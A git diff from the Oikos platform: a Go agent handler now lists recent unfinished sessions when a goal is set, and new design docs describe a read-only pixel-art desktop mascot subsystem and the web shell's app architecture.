||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||||
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
// what the SOUL.md "approve the plan, not each step" model actually
|
// what the SOUL.md "approve the plan, not each step" model actually
|
||||||
// describes. set_goal records the goal + flips status to executing
|
// describes. set_goal records the goal + flips status to executing
|
||||||
// and nothing more.
|
// and nothing more.
|
||||||
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
|
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
|
||||||
|
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
|
||||||
|
// same problem so the agent can pick up the thread instead of
|
||||||
|
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
|
||||||
|
// cb8c8a4a) all bounced off the classifier because each new session
|
||||||
|
// started from scratch. The agent gets a hint with the prior
|
||||||
|
// goal + summary; if it looks related, search_knowledge or open
|
||||||
|
// the prior session's transcript (GET /sessions/{id}) before
|
||||||
|
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
|
||||||
|
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
|
||||||
|
if len(prior) > 0 {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
|
||||||
|
for i, p := range prior {
|
||||||
|
if i >= 5 {
|
||||||
|
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
|
||||||
|
break
|
||||||
|
}
|
||||||
|
sum := p.Summary
|
||||||
|
if sum == "" {
|
||||||
|
sum = "(no summary)"
|
||||||
|
}
|
||||||
|
if len(sum) > 200 {
|
||||||
|
sum = sum[:200] + "..."
|
||||||
|
}
|
||||||
|
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
|
||||||
|
p.Goal, p.ID[:8], p.Outcome, sum))
|
||||||
|
}
|
||||||
|
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
|
||||||
|
response += b.String()
|
||||||
|
}
|
||||||
|
return response, true
|
||||||
|
|
||||||
case "propose_plan":
|
case "propose_plan":
|
||||||
raw, _ := args["steps"].([]any)
|
raw, _ := args["steps"].([]any)
|
||||||
|
|||||||
17
docs/index.md
Normal file
17
docs/index.md
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
# Docs
|
||||||
|
|
||||||
|
Long-form reference material for the Oikos platform. Operational state and
|
||||||
|
topology live in the DB (seeded from `seeds/`); these docs cover decisions,
|
||||||
|
procedures, and the system model.
|
||||||
|
|
||||||
|
| Path | Contents |
|
||||||
|
| ---- | -------- |
|
||||||
|
| [adr/](adr/README.md) | Architecture Decision Records (numbered, append-only) |
|
||||||
|
| [mbse/](mbse/README.md) | Model-Based Systems Engineering views of the platform |
|
||||||
|
| [mascot/](mascot/README.md) | MBSE subsystem model for the desktop mascot (planned) |
|
||||||
|
| [operations/](operations/README.md) | Operator runbooks (deploy, rollback, recovery) |
|
||||||
|
|
||||||
|
For agent orientation see [AGENTS.md](../AGENTS.md); for the operating model
|
||||||
|
see [.agents/OIKOS.md](../.agents/OIKOS.md); for development see
|
||||||
|
[CONTRIBUTING.md](../CONTRIBUTING.md). Design plans live in
|
||||||
|
[plans/](../plans/), not here.
|
||||||
371
docs/mascot/README.md
Normal file
371
docs/mascot/README.md
Normal file
@@ -0,0 +1,371 @@
|
|||||||
|
# Oikos — Desktop Mascot Subsystem Model
|
||||||
|
|
||||||
|
> Companion to [the platform Model](../mbse/README.md) and
|
||||||
|
> [the Framework](../mbse/framework.md). This document is a **subsystem
|
||||||
|
> Model** in Holt's sense — it conforms to the same Framework (Ontology +
|
||||||
|
> Viewpoints, Markdown + Mermaid Notation) rather than restating it, scoped
|
||||||
|
> to a single not-yet-built subsystem of the `web` component: the desktop
|
||||||
|
> mascot ("Cluck"), a pixel-art chicken that lives on the desktop shell.
|
||||||
|
> Where the platform-wide Views in [../mbse/README.md](../mbse/README.md)
|
||||||
|
> and the component View for `web/src` in
|
||||||
|
> [../mbse/components.md](../mbse/components.md#5-web-control-room) speak
|
||||||
|
> at the level of "the SPA," this document goes one layer deeper into one
|
||||||
|
> feature of it — the same relationship [components.md](../mbse/components.md)
|
||||||
|
> has to [README.md](../mbse/README.md), applied recursively.
|
||||||
|
|
||||||
|
**Status of this Model:** the subsystem it describes is **implemented**
|
||||||
|
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
|
||||||
|
Views below are marked **Implemented** where the code matches; a small
|
||||||
|
number of requirements (distinct adult art, a true round radial menu)
|
||||||
|
remain **Planned** as polish items. The corresponding implementation plan
|
||||||
|
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
|
||||||
|
which carries a deviation note at the top covering the changes made
|
||||||
|
during implementation (hatch-on-naming, PNG-sheet art, button-column
|
||||||
|
radial menu, 60fps loop), and the physics audit/follow-up is
|
||||||
|
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
|
||||||
|
|
||||||
|
## Views in this model
|
||||||
|
|
||||||
|
| # | View | Concern it addresses |
|
||||||
|
|---|---|---|
|
||||||
|
| [1](#1-mission--system-context) | Mission & System Context | Why a mascot, and what is it never allowed to do? |
|
||||||
|
| [2](#2-requirements) | Requirements | What must it do, traced from the original request? |
|
||||||
|
| [3](#3-structural-view) | Structural View | What modules make it up, and which are the extension points? |
|
||||||
|
| [4](#4-behavioral-view) | Behavioral View | How does it move, live, and react, moment to moment? |
|
||||||
|
| [5](#5-interfaces-view) | Interfaces View | What does it read from the rest of the system, and how does it persist itself? |
|
||||||
|
| [6](#6-extension-guide) | Extension Guide | How does a future engineer add an animation, behavior, menu action, or reaction? |
|
||||||
|
| [7](#7-verification-view) | Verification View | How will we know it works, once built? |
|
||||||
|
|
||||||
|
## 1. Mission & System Context
|
||||||
|
|
||||||
|
**Stakeholders:** the operator (delight, ambient awareness of system
|
||||||
|
state without opening a window); future engineers extending the mascot's
|
||||||
|
behaviors/reactions/menu.
|
||||||
|
|
||||||
|
**Mission:** give the desktop shell a persistent, living presence that
|
||||||
|
makes background system activity legible at a glance — a chat streaming,
|
||||||
|
a knowledge-graph write, a critical signal — without requiring a window to
|
||||||
|
be open, while doubling as a lightweight tamagotchi for its own sake
|
||||||
|
(delight is a legitimate requirement here, not a side effect).
|
||||||
|
|
||||||
|
**Boundary — what the mascot is, and is not:**
|
||||||
|
|
||||||
|
- It is a **purely client-side, read-only observer**. It subscribes to
|
||||||
|
existing `web` stores (chat, activity, events, dashboard summary) the
|
||||||
|
same way any other UI component does.
|
||||||
|
- It **never calls a mutating API endpoint** and is not a new actuation
|
||||||
|
path — it has no relationship to the `run` gate, `Execution`, or
|
||||||
|
`Approval` entities described in [the platform Ontology](../mbse/ontology.md).
|
||||||
|
Its only "mutation" is its own tamagotchi state, stored client-side.
|
||||||
|
- It is scoped entirely inside the `web` component
|
||||||
|
([../mbse/components.md §5](../mbse/components.md#5-web-control-room));
|
||||||
|
it introduces no new backend surface, no new MCP tool, no new REST route.
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart TB
|
||||||
|
subgraph SURFACE["Desktop shell surface (Desktop.svelte)"]
|
||||||
|
ICONS["Icon layer\nz-0"]
|
||||||
|
LAUNCH["Task launcher\nz-10"]
|
||||||
|
WIN["WindowLayer\nz-40"]
|
||||||
|
MASCOT["MascotLayer\nz-45\n(this subsystem)"]
|
||||||
|
MENU["Desktop context menu\nz-50"]
|
||||||
|
end
|
||||||
|
|
||||||
|
MASCOT -->|subscribes, read-only| EVENTS["stores/events.ts\nliveEvents (SSE)"]
|
||||||
|
MASCOT -->|subscribes, read-only| CHAT["stores/chat.ts\nstreaming"]
|
||||||
|
MASCOT -->|subscribes, read-only| ACTIVITY["stores/activity.ts\nactivityLog"]
|
||||||
|
MASCOT -->|subscribes, read-only| CONTEXT["stores/context.ts\nsummary"]
|
||||||
|
MASCOT -->|reads/writes| LS["localStorage\noikos-mascot"]
|
||||||
|
|
||||||
|
style MASCOT fill:#fff3e0,stroke:#e65100
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Requirements
|
||||||
|
|
||||||
|
Traced from the original feature request. Status reflects the
|
||||||
|
2026-07-20 implementation; **Planned** items are deferred polish.
|
||||||
|
|
||||||
|
| ID | Statement | Source | Status |
|
||||||
|
|---|---|---|---|
|
||||||
|
| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
|
||||||
|
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
|
||||||
|
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
|
||||||
|
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
|
||||||
|
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
|
||||||
|
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
|
||||||
|
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
|
||||||
|
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
|
||||||
|
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
|
||||||
|
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
|
||||||
|
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
|
||||||
|
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
|
||||||
|
|
||||||
|
## 3. Structural View
|
||||||
|
|
||||||
|
**Stakeholders:** an engineer implementing or extending the mascot.
|
||||||
|
**Why this View earns its place:** MASC-9 (extensibility) is only real if
|
||||||
|
the module boundaries actually separate data (registries) from engine
|
||||||
|
code; this View is the check that they do.
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
classDiagram
|
||||||
|
class types_ts {
|
||||||
|
<<module>>
|
||||||
|
PixelGrid
|
||||||
|
AnimName
|
||||||
|
MascotStage
|
||||||
|
BehaviorId
|
||||||
|
Stimulus
|
||||||
|
RadialAction
|
||||||
|
}
|
||||||
|
class palette_ts {
|
||||||
|
<<module, registry>>
|
||||||
|
PALETTE: char to CSS color
|
||||||
|
}
|
||||||
|
class sprites_ts {
|
||||||
|
<<module, registry>>
|
||||||
|
SPRITES: Stage to AnimName to AnimDef
|
||||||
|
resolveAnim(stage, name)
|
||||||
|
}
|
||||||
|
class render_ts {
|
||||||
|
<<module, stateless>>
|
||||||
|
drawFrame(ctx, grid, palette, flip)
|
||||||
|
}
|
||||||
|
class state_svelte_ts {
|
||||||
|
<<module, runes>>
|
||||||
|
MascotModel state
|
||||||
|
grantXp() feed() pet() setName()
|
||||||
|
tickLifecycle() advanceStageIfReady()
|
||||||
|
persist (debounced, oikos-mascot)
|
||||||
|
}
|
||||||
|
class behavior_ts {
|
||||||
|
<<module, registry>>
|
||||||
|
BEHAVIORS: BehaviorId to BehaviorDef
|
||||||
|
stepMascot(rt, model, now, dt)
|
||||||
|
}
|
||||||
|
class stimuli_ts {
|
||||||
|
<<module, registry>>
|
||||||
|
REACTIONS: id to ReactionDef
|
||||||
|
attachStimuli(emit)
|
||||||
|
}
|
||||||
|
class actions_ts {
|
||||||
|
<<module, registry>>
|
||||||
|
MASCOT_ACTIONS: RadialAction tree
|
||||||
|
registerMascotAction()
|
||||||
|
}
|
||||||
|
class Mascot_svelte {
|
||||||
|
<<component>>
|
||||||
|
canvas render loop 30fps
|
||||||
|
pointer drag/click/contextmenu
|
||||||
|
}
|
||||||
|
class MascotLayer_svelte {
|
||||||
|
<<component>>
|
||||||
|
z-45 absolute overlay
|
||||||
|
hosts Mascot + RadialMenu + bubble
|
||||||
|
}
|
||||||
|
class RadialMenu_svelte {
|
||||||
|
<<component>>
|
||||||
|
z-60 fixed, nested rings
|
||||||
|
}
|
||||||
|
class NameDialog_svelte {
|
||||||
|
<<component>>
|
||||||
|
}
|
||||||
|
|
||||||
|
sprites_ts --> palette_ts : indexes
|
||||||
|
sprites_ts --> types_ts : uses
|
||||||
|
Mascot_svelte --> render_ts : draws frames
|
||||||
|
Mascot_svelte --> sprites_ts : resolves anim
|
||||||
|
Mascot_svelte --> behavior_ts : steps FSM
|
||||||
|
Mascot_svelte --> state_svelte_ts : reads/mutates model
|
||||||
|
MascotLayer_svelte --> Mascot_svelte : hosts
|
||||||
|
MascotLayer_svelte --> RadialMenu_svelte : hosts, on contextmenu
|
||||||
|
MascotLayer_svelte --> stimuli_ts : attaches on mount
|
||||||
|
MascotLayer_svelte --> NameDialog_svelte : hosts, on hatch/rename
|
||||||
|
RadialMenu_svelte --> actions_ts : renders tree
|
||||||
|
stimuli_ts --> behavior_ts : forceBehavior(react)
|
||||||
|
```
|
||||||
|
|
||||||
|
**The four extension registries** (MASC-9's concrete answer — see also
|
||||||
|
[§6 Extension Guide](#6-extension-guide)): `SPRITES` (animations),
|
||||||
|
`BEHAVIORS` (autonomous states), `MASCOT_ACTIONS` (radial menu tree),
|
||||||
|
`REACTIONS` (environment stimuli). Each is plain data; the engine
|
||||||
|
(`behavior.ts`'s `stepMascot`, `Mascot.svelte`'s loop, `RadialMenu.svelte`'s
|
||||||
|
renderer) is generic over whatever the registry currently contains.
|
||||||
|
|
||||||
|
**Mount point:** two lines in
|
||||||
|
[`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) —
|
||||||
|
`<MascotLayer />` rendered inside the surface `<div>` (the `relative
|
||||||
|
min-h-0 flex-1 overflow-hidden` element), after `<WindowLayer />`, so its
|
||||||
|
`absolute inset-0` shares the surface's coordinate space and its ground
|
||||||
|
line is exactly the surface's bottom edge (= the taskbar's top edge).
|
||||||
|
|
||||||
|
## 4. Behavioral View
|
||||||
|
|
||||||
|
**Stakeholders:** an engineer reasoning about "what does the mascot do
|
||||||
|
right now, and why." **Why this View earns its place:** a mascot with an
|
||||||
|
implicit, ad-hoc state machine is unmaintainable the moment a second
|
||||||
|
behavior or reaction is added; this View is the state machine made
|
||||||
|
explicit before any of it is coded.
|
||||||
|
|
||||||
|
### 4.1 Behavior FSM (moment-to-moment autonomy)
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> egg
|
||||||
|
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
|
||||||
|
|
||||||
|
state chick_and_adult_behaviors {
|
||||||
|
[*] --> idle
|
||||||
|
idle --> wander : weighted random pick\non behaviorUntil expiry
|
||||||
|
wander --> idle
|
||||||
|
idle --> peck : weighted random pick
|
||||||
|
peck --> idle
|
||||||
|
idle --> hop : weighted random pick
|
||||||
|
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
|
||||||
|
idle --> sleep : weighted random pick
|
||||||
|
sleep --> idle
|
||||||
|
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
||||||
|
idle --> dragged : pointerdown + move\npast 5px threshold
|
||||||
|
wander --> dragged : pointerdown + move
|
||||||
|
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
||||||
|
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
|
||||||
|
falling --> falling : hard impact\n(one diminished bounce)
|
||||||
|
falling --> land : y reaches ground\n(sideways momentum -> skid)
|
||||||
|
land --> idle
|
||||||
|
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
||||||
|
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
||||||
|
}
|
||||||
|
|
||||||
|
chick --> adult : xp reaches ADULT_XP\n(advanceStageIfReady)
|
||||||
|
```
|
||||||
|
|
||||||
|
`dragged` always wins over any autonomous behavior; `sleep` is broken only
|
||||||
|
by a reaction whose `ReactionDef.interruptsSleep` is true (§4.3) or by a
|
||||||
|
drag. Weighted-random idle selection (`weight` field in `BehaviorDef`)
|
||||||
|
picks the next autonomous behavior only when the current one's `next()`
|
||||||
|
returns null past `behaviorUntil` — see
|
||||||
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||||
|
for the concrete weights.
|
||||||
|
|
||||||
|
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
|
||||||
|
losing attempt at flight, not a drop — wing-beat impulses on a
|
||||||
|
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
|
||||||
|
falls faster than terminal velocity (hard downward tosses) decay back
|
||||||
|
under drag instead of clamping; hard impacts bounce once, squash via a
|
||||||
|
damped-spring render layer scaled by impact speed, and poof a burst of
|
||||||
|
feather pixels; sideways momentum becomes a friction skid on touchdown
|
||||||
|
and ricochets off the surface's side bounds mid-fall; the sprite
|
||||||
|
stretches along its motion in the air and tilts into horizontal velocity
|
||||||
|
(fall, drag, and skid); walking bobs at step frequency. All of it is
|
||||||
|
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
|
||||||
|
`updateJuice()` — no new assets, no new states beyond `hop`.
|
||||||
|
|
||||||
|
### 4.2 Tamagotchi lifecycle (long-lived state)
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> egg : first load,\ndefaultModel()
|
||||||
|
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
|
||||||
|
chick --> adult : xp >= ADULT_XP (200)
|
||||||
|
adult --> [*]
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
||||||
|
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||||
|
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
|
||||||
|
egg → chick transition fires on first naming, not on a timed incubation
|
||||||
|
— see the deviation note in
|
||||||
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||||
|
|
||||||
|
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
sequenceDiagram
|
||||||
|
participant SSE as stores/events.ts (SSE)
|
||||||
|
participant Stim as stimuli.ts attachStimuli
|
||||||
|
participant Layer as MascotLayer.svelte (emit callback)
|
||||||
|
participant FSM as behavior.ts
|
||||||
|
participant Mascot as Mascot.svelte (canvas)
|
||||||
|
|
||||||
|
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
||||||
|
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
||||||
|
Stim->>Layer: emit(reaction)
|
||||||
|
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
|
||||||
|
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
|
||||||
|
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
||||||
|
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
||||||
|
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
|
||||||
|
Note over FSM: after durationMs,\nnext() returns to idle
|
||||||
|
```
|
||||||
|
|
||||||
|
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
|
||||||
|
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
|
||||||
|
name, no hatched chick to react), so stimulus events are silently
|
||||||
|
ignored until the egg hatches — this keeps the egg calm during the
|
||||||
|
naming dialog rather than playing alarm animations behind it.
|
||||||
|
|
||||||
|
## 5. Interfaces View
|
||||||
|
|
||||||
|
**Stakeholders:** an engineer wiring a new store into the mascot's
|
||||||
|
awareness, or auditing what it depends on.
|
||||||
|
|
||||||
|
| Interface | Direction | Shape | Notes |
|
||||||
|
|---|---|---|---|
|
||||||
|
| [`stores/events.ts`](../../web/src/lib/stores/events.ts) `liveEvents` | consumed | `Writable<OikosEvent[]>`, newest-first, ref-counted via `subscribeEvents()` | `OikosEvent.type` families: `approval.*`, `signal.*`, `execution.*`, `health.changed`; `severity: 'info'\|'warning'\|'critical'` |
|
||||||
|
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
||||||
|
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
||||||
|
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
||||||
|
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||||
|
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
||||||
|
|
||||||
|
No interface in this table is a write path to the Oikos API — consistent
|
||||||
|
with §1's boundary statement (MASC-11).
|
||||||
|
|
||||||
|
## 6. Extension Guide
|
||||||
|
|
||||||
|
**Stakeholders:** a future engineer adding one new animation, behavior,
|
||||||
|
menu action, or reaction — this is the Viewpoint 4's "why" made concrete
|
||||||
|
as a recipe rather than prose (mirrors [../mbse/framework.md §7](../mbse/framework.md)'s
|
||||||
|
Process Set treatment).
|
||||||
|
|
||||||
|
| To add a... | Touch only | Nothing else changes because |
|
||||||
|
|---|---|---|
|
||||||
|
| **Animation** | Add the name to the `AnimName` union in `types.ts`; add frames to `SPRITES[stage]` in `sprites.ts` | `resolveAnim()` and the renderer are generic over the registry |
|
||||||
|
| **Behavior** | Add the id to `BehaviorId`; add one `BehaviorDef` entry to `BEHAVIORS` in `behavior.ts` | `stepMascot()` and the weighted-random idle selector consume `BEHAVIORS` generically |
|
||||||
|
| **Radial menu action** | Add a `RadialAction` node to `MASCOT_ACTIONS` in `actions.ts` (or call `registerMascotAction()`), optionally nested under `children` | `RadialMenu.svelte` renders whatever tree it's given, including nesting depth |
|
||||||
|
| **Environment reaction** | Add a `ReactionDef` to `REACTIONS` in `stimuli.ts`; wire one `store subscription -> predicate -> emit(reaction)` block inside `attachStimuli()` | priority/cooldown/interrupt dispatch logic in `attachStimuli()` is generic over `REACTIONS` |
|
||||||
|
|
||||||
|
## 7. Verification View
|
||||||
|
|
||||||
|
**Stakeholders:** whoever implements this subsystem and needs to know
|
||||||
|
when it's actually done, not just compiled.
|
||||||
|
|
||||||
|
Manual browser checklist (no automated test harness planned for v1 — see
|
||||||
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||||
|
for the same list in implementation-order context):
|
||||||
|
|
||||||
|
- Egg renders grounded at the surface bottom, wiggles gently while the
|
||||||
|
name dialog is open, and survives a reload at the same x (confirm
|
||||||
|
`oikos-mascot` is debounced — no writes fire from mere walking, only
|
||||||
|
from discrete transitions).
|
||||||
|
- Dragging the egg up and releasing triggers a flutter-fall with no
|
||||||
|
tunneling below the taskbar; dragging past the surface edges clamps.
|
||||||
|
- A fresh egg (no name) opens the name dialog on mount; submitting it
|
||||||
|
hatches to chick; the name persists across reload. The debug "Force
|
||||||
|
hatch" action does the same without prompting.
|
||||||
|
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
||||||
|
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
||||||
|
- Right-clicking the chicken opens the radial menu centered on it, without
|
||||||
|
triggering the desktop's own right-click menu; a nested submenu (Feed)
|
||||||
|
opens correctly; Escape pops one level then closes; an outside click
|
||||||
|
closes it; the menu stays fully visible when the chicken is near a
|
||||||
|
screen edge or corner.
|
||||||
|
- With one or more windows open (including a maximized one), the chicken
|
||||||
|
visibly walks above them without breaking window drag/resize/close.
|
||||||
|
- Starting a chat and observing it stream triggers the `thinking` reaction
|
||||||
|
for the duration; a simulated knowledge-graph write triggers `eureka`
|
||||||
|
once per cooldown window; a simulated critical signal triggers `alarmed`
|
||||||
|
even while the chicken is asleep.
|
||||||
|
- Resizing the browser viewport re-grounds and re-clamps the chicken.
|
||||||
|
- Both the Terracotta and Carbon themes keep the pixel-art palette legible.
|
||||||
|
- `npm run build` passes with no new errors.
|
||||||
@@ -31,6 +31,7 @@ the relevant section here.
|
|||||||
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
||||||
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
||||||
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
||||||
|
| [9. web control room — App architecture](#9-web-control-room--app-architecture) | `web/src/lib/apps.ts`, `web/src/lib/stores/windows.ts`, `web/src/lib/stores/docked.ts`, `web/src/lib/components/desktop-shell/` | ✅ live — the OS + Apps shell contract |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -364,7 +365,11 @@ cross-origin (the Wails desktop webview, §8).
|
|||||||
Standalone deploy, versioned and released independently of the `oikos`
|
Standalone deploy, versioned and released independently of the `oikos`
|
||||||
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
||||||
why "deployed" means two different release cadences depending on whether
|
why "deployed" means two different release cadences depending on whether
|
||||||
you mean the container or the desktop app.
|
you mean the container or the desktop app. The shell-level architecture
|
||||||
|
(window manager, app registry, docked layer) is documented separately as
|
||||||
|
[§9 below](#9-web-control-room--app-architecture); this section covers
|
||||||
|
the page-level concerns, §9 covers the OS + Apps contract the pages hang
|
||||||
|
off.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -496,6 +501,177 @@ functional sense.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 9. web control room — App architecture
|
||||||
|
|
||||||
|
**Stakeholders:** anyone adding a page, adding a desktop overlay, or
|
||||||
|
planning dynamic/third-party app installation. **Why this View earns its
|
||||||
|
place:** §5 documents the *pages*; this View documents the *shell* they
|
||||||
|
hang off — and the shell is the part whose contract a new app has to
|
||||||
|
satisfy. It is also the layer where the "Oikos-as-OS" metaphor
|
||||||
|
(desktop, icons, floating windows, a tamagotchi-style resident
|
||||||
|
creature) is actually implemented, so the boundary between "Base OS" and
|
||||||
|
"App" has to be explicit here or it doesn't exist anywhere.
|
||||||
|
|
||||||
|
### App architecture — Internal structure
|
||||||
|
|
||||||
|
| File | Role |
|
||||||
|
|---|---|
|
||||||
|
| `web/src/lib/apps.ts` | The App registry. Two layers: `builtinApps` (static, always installed) + `installedAppIds` (persisted, from the App Store). The public `apps` store is derived (built-in + installed); `appById` is a derived Map. `installApp`/`uninstallApp` mutate the installed set. Window-id helpers (`appWindowId`, `appIdFromWindowId`) unchanged. |
|
||||||
|
| `web/src/app-store/catalog.ts` | The installable-app catalog: `AppManifest` (persistable metadata) + `CatalogEntry` (manifest + Lucide icon + dynamic-import loader). Static in Phase 3 (apps ship with the build); Phase 4 swaps this for a fetched `/api/v1/apps` endpoint. Declares `AppPermission` (enforcement is Phase 4). |
|
||||||
|
| `web/src/app-store/apps/Notes.svelte` | Demo installable app — a localStorage-backed scratchpad proving the install→icon→window→uninstall lifecycle end-to-end. |
|
||||||
|
